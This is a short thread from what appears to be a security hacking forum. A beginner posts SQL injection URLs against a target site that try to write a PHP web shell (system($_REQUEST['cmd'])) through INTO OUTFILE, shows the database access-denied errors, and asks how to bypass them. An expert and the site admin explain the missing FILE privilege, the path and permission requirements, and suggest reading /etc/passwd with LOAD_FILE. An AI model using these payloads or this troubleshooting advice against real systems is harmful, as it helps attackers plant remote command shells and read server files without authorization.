Waraxe IT Security Portal

bala · Beginner

Hello everybody
I tried

www.target.com/news.php?newsID=0+union+select+"<?php system($_REQUEST['cmd']); ?>",1,2,3,4,5,6,7,8,9,10 INTO OUTFILE "shell.php"--

Access denied for user: 'zbuxki@201.134.244.115' (Using password: YES)

Also I tried a similar thing

www.target.com/news.php?newsID=0+union+select+"Hello World",1,2,3,4,5,6,7,8,9,10 INTO OUTFILE "zbas.html"--

and didn't worked , both.

Access denied for user: 'zbuxki@201.134.244.115' (Using password: YES)

So what are my possibilities to bypass this ? have ways,manners ?

Bye guyss

pexli · Valuable expert

You don't have file priv.

waraxe · Site admin

I see four possible problems here:

1. you probably don't have FILE prviliges to use mysql file-related functionality

2. you can't use relative path, instead use full path

3. mysql daemon must have write privileges to target directory

4. file must not exist allready, because "INTO OUTFILE" will not overwrite any files

So your best shot is to try LOAD_FILE(), for example "LOAD_FILE('/etc/passwd')". If this works, then you have FILE privileges, if not, then no way to use mysql file-related functions in current user context Smile

P.S. ---> Pexli, you was faster Very Happy